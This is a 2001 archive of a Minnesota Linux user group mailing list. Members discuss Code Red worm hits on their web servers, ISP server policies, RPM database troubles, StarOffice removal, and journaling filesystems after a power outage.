Aug 9 19:42:46 2001 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: References: Message-ID: <01080919424600.01858@geezer> Re-reading the subscriber aggreement off the Code Red web page makes as clear as a glass of Guiness. ;-) By not explicitly disallowing servers you they allow people to run remote control software to push data up from work or other such thing that is not a generally known or listed server. If I run an experimental server to test some stuff and tell some friends about it or route some mail for family members the amount of traffic is not going to be signifcantly different than my "normal" browsing usage. If it gets to be a strain they can cut me down using the prohibited use clause sighted in the Code Red info. But this also would come into effect if I'm downloaded several gig of movies or other such data. Most likely I don't get caught unless the people in my area complain about speed and they trace a packet trail to my door. On Thursday 09 August 2001 17:32, you wrote: > The AT&T/Mediaone/RR AUP does(did?) not disallow servers, nor does it > reference other documents that do. AT&T@Home may be an entirely different > story. > > Dan > -- Jack Ungerleider jack@jacku.com From hick0088 at tc.umn.edu Thu Aug 9 19:57:46 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <3B72EA82.8060901@haxxed.com> References: <200108090410.XAA26748@zjod.net> <20010809073946.B15175@candle.mn.mediaone.net> <20010809082924.687f5dbf.hick0088@tc.umn.edu> <3B72EA82.8060901@haxxed.com> Message-ID: <20010809195746.4f2b1fc9.hick0088@tc.umn.edu> Callum Lerwick wrote: > > > Of course, I have no way to test it. > > > > http://www.tc.umn.edu/~hick0088/files/defaultida.txt > > It won't work. I've tried it. Apache sees the garbage that is the virus > body, and responds with a Bad Request error, and won't even touch any > CGI you try and get it to run. Are you sure? I'm seeing `200' responses when I get a Code Red II request (Code Red gives `400's, OTOH), which would seem to indicate it was run. I suppose I have to set up the script to write to its own log so I can get a better idea of whether it works or not. Also, why would Apache have trouble? I actually noticed earlier, before I put this script up, that Code Red requests were getting 400s, while Code Red II requests were getting 404s. I suppose the two worms handle their HTTP connections differently.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Why do we wash bath / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ towels? Aren't we clean \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) when we use them? [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010809/aec82400/attachment.pgp From lbehrens at boolion.com Thu Aug 9 20:32:54 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm Message-ID: this is probably a bit off topic but here goes. the delphi 6.0 personal edition does not come with the clx libs. does this mean that the only way to get the clx libraries on a windows machine is to buy the $1000 plus delphi 6.0? bc-s You are correct, the Delphi 6 Personal Edition does not come with CLX. The Professional Edition lists at $999 for new user, or $399 if upgrading from any Delphi Professional product. Lee Behrens From seg at haxxed.com Fri Aug 10 01:01:39 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010809073946.B15175@candle.mn.mediaone.net> <20010809082924.687f5dbf.hick0088@tc.umn.edu> <3B72EA82.8060901@haxxed.com> <20010809195746.4f2b1fc9.hick0088@tc.umn.edu> Message-ID: <3B7378C3.2050607@haxxed.com> > Are you sure? I'm seeing `200' responses when I get a Code Red II request > (Code Red gives `400's, OTOH), which would seem to indicate it was run. I > suppose I have to set up the script to write to its own log so I can get a > better idea of whether it works or not. > > Also, why would Apache have trouble? I actually noticed earlier, before I > put this script up, that Code Red requests were getting 400s, while Code > Red II requests were getting 404s. I suppose the two worms handle their > HTTP connections differently.. Yes, I wrote a script with the purpose of capturing a copy of the virus in mind. It worked when I made a request, but wasn't working when the real worm came along. I finally packet sniffed until a codered hit came along, and discovered what was happening. (And finally captured a copy in the process...) Apache was seeing the garbage that was the virus body, and tossing back a Bad Request error. My packet log is even up at http://www.haxxed.com/random/codered.tcpdump.cap Of course I did this before II came along. Whats up with II? Got a page with a nice in depth autopsy for me? ;) From moomonk at greentechnologist.org Thu Aug 9 20:28:36 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] cr2 autopsy Message-ID: I don't recall who asked but there are several attempts at reverse engineering cr2 at incident.org. If I had more time I suppose it'd be interesting to look at the internals. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." From tanner at real-time.com Fri Aug 10 03:32:38 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] Latest rawhide rpms broken? Message-ID: <20010810033238.A12003@real-time.com> [tanner@samurai SRPMS]$ rpm --rebuild XFree86-4.1.0-0.9.11.src.rpm Installing XFree86-4.1.0-0.9.11.src.rpm Segmentation fault (core dumped) [tanner@samurai SRPMS]$ rpm -q rpm rpm-4.0.2-6x Are the latest src.rpm from rawhide busted? I tried this on 6.2, 7.0, 7.1 all the same thing. Did RH move to some new incompatible rpm format? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From sgrobe at mn.rr.com Fri Aug 10 06:09:38 2001 From: sgrobe at mn.rr.com (Steve) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] Linux and Sun to the rescue Message-ID: <3B73C0F2.3080004@mn.rr.com> Ben probably won't like this too much :-) but it does a good job of making Microsoft look the bunch of bungholes they are. http://news.excite.com/news/zd/010809/10/sun-linux-offer One more win for Linux. -- The more I know, the more I know I don't know. Confused and confusing since 1966. From doug at northlandstudios.com Fri Aug 10 08:15:23 2001 From: doug at northlandstudios.com (Doug Henry) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help In-Reply-To: <20010810033238.A12003@real-time.com> References: <20010810033238.A12003@real-time.com> Message-ID: <01081008152300.02224@thor.valhalla> Hi guys, I was trying to install StarOffice off of the RH CD and accidentally installed the french version. I went to uninstall it and the system claimed it wasn't installed, yet it shows up in gnorpm. Of course when I try to remove it in gnorpm, it crashes with a segmentation fault. So it's installed, yet not installed I guess. I try to install the correct one (english), and it says that the newer one is already installed. Can anyone shed some light on this problem? -- Doug From dsherman at real-time.com Fri Aug 10 08:34:47 2001 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help In-Reply-To: <01081008152300.02224@thor.valhalla> References: <20010810033238.A12003@real-time.com> <01081008152300.02224@thor.valhalla> Message-ID: <01081008344701.01067@dedannshae.thuria.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Doesn't Star Office have its own uninstall script? I believe you can run the setup program, located in Star Office's bin directory, and from the setup dialog you can choose to uninstall. Dave On Friday 10 August 2001 08:15, thus spake Doug Henry: > Hi guys, > I was trying to install StarOffice off of the RH CD and accidentally > installed the french version. I went to uninstall it and the system > claimed it wasn't installed, yet it shows up in gnorpm. Of course when I > try to remove it in gnorpm, it crashes with a segmentation fault. So > it's installed, yet not installed I guess. I try to install the correct > one (english), and it says that the newer one is already installed. Can > anyone shed some light on this problem? - -- "Nihil tam munitum quod non expugnari pecunia possit." (No fortification is such that it cannot be subdued with money.) - - Marcus Tullius Cicero, 106-43 B.C. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7c+L4A68l26XsZUYRAj19AJ9CPkF4Eb0+VWPSsZBvUeT0gIYd6wCfX8WL iQgXF0Hg8Wwh4M5hE2X6Nao= =dZqB -----END PGP SIGNATURE----- From drake at lemongecko.myip.org Fri Aug 10 07:30:16 2001 From: drake at lemongecko.myip.org (Dan) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] Linux and Sun to the rescue In-Reply-To: <3B73C0F2.3080004@mn.rr.com> References: <3B73C0F2.3080004@mn.rr.com> Message-ID: <20010810083016.B13287@lemongecko.org> On Fri, Aug 10, 2001 at 06:09:38AM -0500, Steve wrote: > Ben probably won't like this too much :-) but it does a good job of > making Microsoft look the bunch of bungholes they are. "I am IIS-olio. I need TP for my wormhole!" (/me still hasn't had his coffee...) Dan -- lemon | Dan Drake + gecko | drake@lemongecko.org ----- | http://lemongecko.org/drake ?! | From esper at sherohman.org Fri Aug 10 08:43:16 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] Linux and Sun to the rescue In-Reply-To: <20010810083016.B13287@lemongecko.org>; from drake@lemongecko.myip.org on Fri, Aug 10, 2001 at 08:30:16AM -0400 References: <3B73C0F2.3080004@mn.rr.com> <20010810083016.B13287@lemongecko.org> Message-ID: <20010810084316.B23178@sherohman.org> On Fri, Aug 10, 2001 at 08:30:16AM -0400, Dan wrote: > "I am IIS-olio. I need TP for my wormhole!" UTP and a 100Mbps "wormhole", I presume? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From doug at northlandstudios.com Fri Aug 10 08:43:44 2001 From: doug at northlandstudios.com (Doug Henry) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help In-Reply-To: <01081008344701.01067@dedannshae.thuria.org> References: <20010810033238.A12003@real-time.com> <01081008152300.02224@thor.valhalla> <01081008344701.01067@dedannshae.thuria.org> Message-ID: <01081008434401.02224@thor.valhalla> Well in looking I can't find where it installed. I ran a "locate -i StarOffice" and the only thing that came back was a gif file somewhere. On Friday 10 August 2001 08:34, you wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Doesn't Star Office have its own uninstall script? I believe you can run > the setup program, located in Star Office's bin directory, and from the > setup dialog you can choose to uninstall. > > Dave > > On Friday 10 August 2001 08:15, thus spake Doug Henry: > > Hi guys, > > I was trying to install StarOffice off of the RH CD and accidentally > > installed the french version. I went to uninstall it and the system > > claimed it wasn't installed, yet it shows up in gnorpm. Of course when I > > try to remove it in gnorpm, it crashes with a segmentation fault. So > > it's installed, yet not installed I guess. I try to install the correct > > one (english), and it says that the newer one is already installed. Can > > anyone shed some light on this problem? > > - -- > "Nihil tam munitum quod non expugnari pecunia possit." (No > fortification is such that it cannot be subdued with money.) > - - Marcus Tullius Cicero, 106-43 B.C. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE7c+L4A68l26XsZUYRAj19AJ9CPkF4Eb0+VWPSsZBvUeT0gIYd6wCfX8WL > iQgXF0Hg8Wwh4M5hE2X6Nao= > =dZqB > -----END PGP SIGNATURE----- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Doug Henry, MCSE/MCP+I http://www.northlandstudios.com From dsherman at real-time.com Fri Aug 10 08:59:13 2001 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help In-Reply-To: <01081008434401.02224@thor.valhalla> References: <20010810033238.A12003@real-time.com> <01081008344701.01067@dedannshae.thuria.org> <01081008434401.02224@thor.valhalla> Message-ID: <01081008591302.01067@dedannshae.thuria.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The actual install directory is office52, but that directory might be in /opt, or /usr/local, or possibly somewhere else (depending on RedHat's config). It's in /usr/local on my Mandrake laptop. Dave On Friday 10 August 2001 08:43, thus spake Doug Henry: > Well in looking I can't find where it installed. I ran a "locate -i > StarOffice" and the only thing that came back was a gif file somewhere. > > On Friday 10 August 2001 08:34, you wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Doesn't Star Office have its own uninstall script? I believe you can > > run the setup program, located in Star Office's bin directory, and > > from the setup dialog you can choose to uninstall. > > > > Dave > > > > On Friday 10 August 2001 08:15, thus spake Doug Henry: > > > Hi guys, > > > I was trying to install StarOffice off of the RH CD and > > > accidentally installed the french version. I went to uninstall it > > > and the system claimed it wasn't installed, yet it shows up in > > > gnorpm. Of course when I try to remove it in gnorpm, it crashes with > > > a segmentation fault. So it's installed, yet not installed I guess. > > > I try to install the correct one (english), and it says that the > > > newer one is already installed. Can anyone shed some light on this > > > problem? > > > > - -- > > "Nihil tam munitum quod non expugnari pecunia possit." (No > > fortification is such that it cannot be subdued with money.) > > - - Marcus Tullius Cicero, 106-43 B.C. > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.6 (GNU/Linux) > > Comment: For info see http://www.gnupg.org > > > > iD8DBQE7c+L4A68l26XsZUYRAj19AJ9CPkF4Eb0+VWPSsZBvUeT0gIYd6wCfX8WL > > iQgXF0Hg8Wwh4M5hE2X6Nao= > > =dZqB > > -----END PGP SIGNATURE----- > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list - -- "Nihil tam munitum quod non expugnari pecunia possit." (No fortification is such that it cannot be subdued with money.) - - Marcus Tullius Cicero, 106-43 B.C. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7c+iyA68l26XsZUYRAgnGAKCLUtYK4L27qFimNJ10D2+/RzCHMgCgywwX 8KlSb87sbJUgk1yks6ClDa0= =YbIA -----END PGP SIGNATURE----- From simeonuj at eetc.com Fri Aug 10 08:57:10 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] The Search For A Better Filesystem. Message-ID: <3B73E833.457BE820@eetc.com> We had a bad power outage last night. Someone ran into a phone pole or something... Surged on and off for a while before we got all the machines off. A bunch of our machines have some major problems now. I am wondering if there is a better filesystem then ext2 for this kind of thing? IIRC RieserFS and Ext3 wouldn't have a problem with sudden and complete losses of power because of the way they right to the HD. Actually any Journaling FS should be like this. I'm not sure but that's what I heard. Is this correct? If so I think I'll switch over reeeeaaaaal soon. I've been having a lot of power problems lately and no UPS's (don't bother me with crap like "you should always have a UPS" and "What the hell are you thinking". No UPS. Get over it. You'll be happy to know I do have power cleaners). Is there a filesystem that is built to handle this sort of thing. If not there should be. sim From kent at structural-wood.com Fri Aug 10 08:59:35 2001 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help References: <20010810033238.A12003@real-time.com> <01081008152300.02224@thor.valhalla> <01081008344701.01067@dedannshae.thuria.org> <01081008434401.02224@thor.valhalla> Message-ID: <3B73E8C7.1B9941E5@structural-wood.com> Doug Henry wrote: > > Well in looking I can't find where it installed. I ran a "locate -i > StarOffice" and the only thing that came back was a gif file somewhere. > look for soffice (It likes to install in /usr/local on linux and /opt on Solaris) From list at slushpupie.com Fri Aug 10 09:05:55 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: <3B73E833.457BE820@eetc.com> Message-ID: I have used RieserFS and have been very happy with it for the most part. There are some limitations with it, however, you cannot resize a partion (at least not easily), and Quotas dont always work for me. Also, because not every kernel knows about RieserFS without loading modules, its a Good Idea to leave your / and /boot on ext2, though not total necessary. I have a box with 100% RieserFS on it. Its had a few powerdrops too, and it boots in about the same time as it would if it were cleanly unmounted. Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Simeon Johnston Sent: Friday, August 10, 2001 8:57 AM To: TCLUG Subject: [TCLUG] The Search For A Better Filesystem. We had a bad power outage last night. Someone ran into a phone pole or something... Surged on and off for a while before we got all the machines off. A bunch of our machines have some major problems now. I am wondering if there is a better filesystem then ext2 for this kind of thing? IIRC RieserFS and Ext3 wouldn't have a problem with sudden and complete losses of power because of the way they right to the HD. Actually any Journaling FS should be like this. I'm not sure but that's what I heard. Is this correct? If so I think I'll switch over reeeeaaaaal soon. I've been having a lot of power problems lately and no UPS's (don't bother me with crap like "you should always have a UPS" and "What the hell are you thinking". No UPS. Get over it. You'll be happy to know I do have power cleaners). Is there a filesystem that is built to handle this sort of thing. If not there should be. sim _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From doug at northlandstudios.com Fri Aug 10 09:12:44 2001 From: doug at northlandstudios.com (Doug Henry) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help In-Reply-To: <3B73E8C7.1B9941E5@structural-wood.com> References: <20010810033238.A12003@real-time.com> <01081008434401.02224@thor.valhalla> <3B73E8C7.1B9941E5@structural-wood.com> Message-ID: <01081009124402.02224@thor.valhalla> I just looked for Office52 and soffice, nada... I think it actually isn't installed but for some reason part of the rpm database thinks it is. For example, when I try rpm -ivh it says it's already installed, but when I try rpm -e it says it's not installed. Is there a way to flush it out of there? On Friday 10 August 2001 08:59, you wrote: > Doug Henry wrote: > > Well in looking I can't find where it installed. I ran a "locate -i > > StarOffice" and the only thing that came back was a gif file somewhere. > > look for soffice > > (It likes to install in /usr/local on linux and /opt on Solaris) > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Doug Henry, MCSE/MCP+I http://www.northlandstudios.com From florin at iucha.net Fri Aug 10 09:13:33 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: <3B73E833.457BE820@eetc.com>; from simeonuj@eetc.com on Fri, Aug 10, 2001 at 08:57:10AM -0500 References: <3B73E833.457BE820@eetc.com> Message-ID: <20010810091333.A30694@beaver.iucha.org> On Fri, Aug 10, 2001 at 08:57:10AM -0500, Simeon Johnston wrote: > We had a bad power outage last night. Someone ran into a phone pole or > something... Surged on and off for a while before we got all the > machines off. A bunch of our machines have some major problems now. > I am wondering if there is a better filesystem then ext2 for this kind > of thing? IIRC RieserFS and Ext3 wouldn't have a problem with sudden > and complete losses of power because of the way they right to the HD. > Actually any Journaling FS should be like this. > I'm not sure but that's what I heard. > > Is this correct? If so I think I'll switch over reeeeaaaaal soon. > I've been having a lot of power problems lately and no UPS's (don't > bother me with crap like "you should always have a UPS" and "What the > hell are you thinking". No UPS. Get over it. You'll be happy to know > I do have power cleaners). > > Is there a filesystem that is built to handle this sort of thing. > If not there should be. There are. Which ones it is a matter of religious wars. I have been sucessfull with reiserfs and partially with xfs. You should avoid jfs as it is still experimental. ext3 is getting closer to the kernel but it's still far. The only recomandation I can make is install each of them, make yourself confident that you can back them up, restore, export via nfs, kick them hard and then put them into production. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From jspinti at dart.dartdist.com Fri Aug 10 09:15:48 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: <3B73E833.457BE820@eetc.com> Message-ID: Yes, you are correct, that is one of the things a journaled file system does. I have been running ReiserFS on Mandrake for quite a while now at home. No problems, even when the power does go south on me, it actually seems faster than ext2. I heard yesterday that the ac kernel series now has an ext3 patch in it, too. I don't know the status of the IBM JFS port. I use that here at work on several AIX machines, and have never had a problem, even when the UPS fails :( And then there is the XFS project, which I think has reached a usable status. Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Simeon Johnston |Sent: Friday, August 10, 2001 8:57 AM |To: TCLUG |Subject: [TCLUG] The Search For A Better Filesystem. | | |We had a bad power outage last night. Someone ran into a phone pole or |something... Surged on and off for a while before we got all the |machines off. A bunch of our machines have some major problems now. |I am wondering if there is a better filesystem then ext2 for this kind |of thing? IIRC RieserFS and Ext3 wouldn't have a problem with sudden |and complete losses of power because of the way they right to the HD. |Actually any Journaling FS should be like this. |I'm not sure but that's what I heard. | |Is this correct? If so I think I'll switch over reeeeaaaaal soon. |I've been having a lot of power problems lately and no UPS's (don't |bother me with crap like "you should always have a UPS" and "What the |hell are you thinking". No UPS. Get over it. You'll be happy to know |I do have power cleaners). | |Is there a filesystem that is built to handle this sort of thing. |If not there should be. | |sim |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From florin at iucha.net Fri Aug 10 09:21:19 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: ; from list@slushpupie.com on Fri, Aug 10, 2001 at 09:05:55AM -0500 References: <3B73E833.457BE820@eetc.com> Message-ID: <20010810092119.B31473@beaver.iucha.org> On Fri, Aug 10, 2001 at 09:05:55AM -0500, Jay Kline wrote: > I have used RieserFS and have been very happy with it for the most part. There > are some limitations with it, however, you cannot resize a partion (at least not > easily), You can extend a reiserfs without taking the partition offline. I did it and worked swell. Shrinking is a different matter... > and Quotas dont always work for me. Also, because not every kernel knows > about RieserFS without loading modules, its a Good Idea to leave your / and /boot > on ext2, though not total necessary. I have a box with 100% RieserFS on it. Its > had a few powerdrops too, and it boots in about the same time as it would if it > were cleanly unmounted. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From kent at structural-wood.com Fri Aug 10 09:26:36 2001 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] RedHat 7.1 RPM Help References: <20010810033238.A12003@real-time.com> <01081008434401.02224@thor.valhalla> <3B73E8C7.1B9941E5@structural-wood.com> <01081009124402.02224@thor.valhalla> Message-ID: <3B73EF1C.CF7E092B@structural-wood.com> Try rpm -qa | egrep -y office and see if anything shows up. If you see it in there, you can do an rpm -ql to get a listing of files. If you don't see it in there, but want to see if it is actually installed on your system, do an rpm -qlp to see what files where the files should be installed on your system, and then look there. As to syncing the rpm data-base, you can always force an install using the --force option. After that you probably could remove it. Do a man rpm, or rpm --help and look at rebuild options also. Doug Henry wrote: > > I just looked for Office52 and soffice, nada... I think it actually isn't > installed but for some reason part of the rpm database thinks it is. For > example, when I try rpm -ivh it says it's already installed, but > when I try rpm -e it says it's not installed. Is there a way to > flush it out of there? > > On Friday 10 August 2001 08:59, you wrote: > > Doug Henry wrote: > > > Well in looking I can't find where it installed. I ran a "locate -i > > > StarOffice" and the only thing that came back was a gif file somewhere. > > > > look for soffice > > > > (It likes to install in /usr/local on linux and /opt on Solaris) From natecars at real-time.com Fri Aug 10 09:30:36 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] Latest rawhide rpms broken? In-Reply-To: <20010810033238.A12003@real-time.com> Message-ID: On Fri, 10 Aug 2001, Bob Tanner wrote: > [tanner@samurai SRPMS]$ rpm --rebuild XFree86-4.1.0-0.9.11.src.rpm > Installing XFree86-4.1.0-0.9.11.src.rpm > Segmentation fault (core dumped) > [tanner@samurai SRPMS]$ rpm -q rpm > rpm-4.0.2-6x > > Are the latest src.rpm from rawhide busted? > > I tried this on 6.2, 7.0, 7.1 all the same thing. > > Did RH move to some new incompatible rpm format? I had the same problem with that specific RPM. Haven't had any other problems with Rawhide, though.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Fri Aug 10 09:33:10 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:58 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: <3B73E833.457BE820@eetc.com> Message-ID: On Fri, 10 Aug 2001, Simeon Johnston wrote: > Is this correct? If so I think I'll switch over reeeeaaaaal soon. > I've been having a lot of power problems lately and no UPS's (don't > bother me with crap like "you should always have a UPS" and "What the > hell are you thinking". No UPS. Get over it. You'll be happy to know > I do have power cleaners). How can you justify not having UPS's when you can get a APC Back-UPS Pro 280 (more than enough for a personal workstation in most cases) for < $125? Seriously, the time it takes you to manually rebuild the filesystems after an unclean shutdown will more than cover that.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From drew at usfamily.net Fri Aug 10 04:17:06 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] OT -- help paint the moon References: <20010809170206.A15378@iaxs.net> Message-ID: <3B73A692.AAB94075@usfamily.net> The Hubble has nothing to do with it. Because they are not taking pictures of the earth. If they were then they would have to be shooting the earth with the Laser. Plus the hubble is not an optical telescope as far as I can remember. I'll go to the Library and Will try to dig up this video tape, maybe I'll bring it to an install fest or something. Scott Raun wrote: > On Thu, Aug 09, 2001 at 04:00:32PM +0100, Andrew Nemchenko wrote: > > No this is completly diffent the link you sent explains that they use a > > laser to create an artificial dot in the sky and then they measure the > > distortion in the atmosphere and use a flexible mirror to compensate for > > this distorion, with the compensation the stars apper more clearly. What > > I saw was completely different, they basically used a giant green colored > > laser to burn a hole in the atmosphere, then for a very shor amount of > > time they were able to take pictures through that hole with no > > distortion. These are two different thngs. > > I'm going to take significant convincing to believe this one - do you > have a reference on it? The period of time that a lightning strike > makes a vacuum is going to be roughly analogous to this - your looking > at a tenth of a second AT MOST! And the Hubble can't get a usable > image that fast. I find it very difficult to believe that they get > enough light down this little narrow pipe (it can't be more than > inches across, and you usually measure professional telescopes in > FEET!) > > -- > Scott Raun > sraun@fireopal.org > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... Name: drew.vcf Type: text/x-vcard Size: 265 bytes Desc: Card for Andrew Nemchenko Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010810/55527f99/drew.vcf From doug at northlandstudios.com Fri Aug 10 10:13:50 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] RedHat 7.1 RPM Help References: <20010810033238.A12003@real-time.com> <01081008434401.02224@thor.valhalla> <3B73E8C7.1B9941E5@structural-wood.com> <01081009124402.02224@thor.valhalla> <3B73EF1C.CF7E092B@structural-wood.com> Message-ID: <001b01c121af$11d66060$940f3c9e@DHENRYW2P> I'm at work now so I'll have to try it when I get home this afternoon. However I manually looked through and didn't find any directory from StarOffice. I have installed it before on other machines and it goes through a whole installation gui on the screen, but this didn't do that this time (could be because I installed the wrong one;->) Thanks for the help guys... Doug ----- Original Message ----- From: "Kent Schumacher" To: Sent: Friday, August 10, 2001 9:26 AM Subject: Re: [TCLUG] RedHat 7.1 RPM Help > Try rpm -qa | egrep -y office and see if anything shows up. > > If you see it in there, you can do an rpm -ql to > get a listing of files. > > If you don't see it in there, but want to see if it is actually > installed on your system, do an rpm -qlp to see what > files where the files should be installed on your system, and > then look there. > > As to syncing the rpm data-base, you can always force an install > using the --force option. After that you probably could remove > it. > > Do a man rpm, or rpm --help and look at rebuild options also. > > Doug Henry wrote: > > > > I just looked for Office52 and soffice, nada... I think it actually isn't > > installed but for some reason part of the rpm database thinks it is. For > > example, when I try rpm -ivh it says it's already installed, but > > when I try rpm -e it says it's not installed. Is there a way to > > flush it out of there? > > > > On Friday 10 August 2001 08:59, you wrote: > > > Doug Henry wrote: > > > > Well in looking I can't find where it installed. I ran a "locate -i > > > > StarOffice" and the only thing that came back was a gif file somewhere. > > > > > > look for soffice > > > > > > (It likes to install in /usr/local on linux and /opt on Solaris) > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Fri Aug 10 10:28:15 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:59 2005 Subject: [TCLUG] The Search For A Better Filesystem. In-Reply-To: Message-ID: Off all the journaled filesystems out there now ReiserFS is most likely your safest bet. Mostly because it's supported from 2.2.19 on. XFS locks you into 2.4.5 right now. (SGI has only released patches for 2.4.5, though they have Development patches for 2.4.6, 2.4.7, and 2.4.8-pre4) IBM's JFS has been released as "stable." How well it actually works is anyones guess. I don't know what kernels it's in or if IBM does patches like SGI does. ext3 is still a way off. grub supports ReiserFS, but doens't speak XFS or JFS yet. (AFAIK anyway) With any of the above file systems, you must remember one thing: create your own rescue disk. The installer I used to get a 100% ReiserFS system used kernel 2.2.19. The latest kernels (2.4.5, 2.4.6, 2.4.7) have a newer version of ReiserFS than 2.2.19, and the new version is not backwards compatible. ReiserFS filesystems can be updated to the latest version of ReiserFS on the fly, so if you run a 2.4.5 kernel, your filesystem gets updated, and 2.2.19 won't read your filesystem. * [* This statement is based on what I read and what happened to me when I tried switching from lilo to grub. ] One question for me..are there ways to create a rescue floppy other than mkrboot and make bzdisk? Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From spencer at sihope.com Fri Aug 10 10:19:15 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:59 2005 Subject: 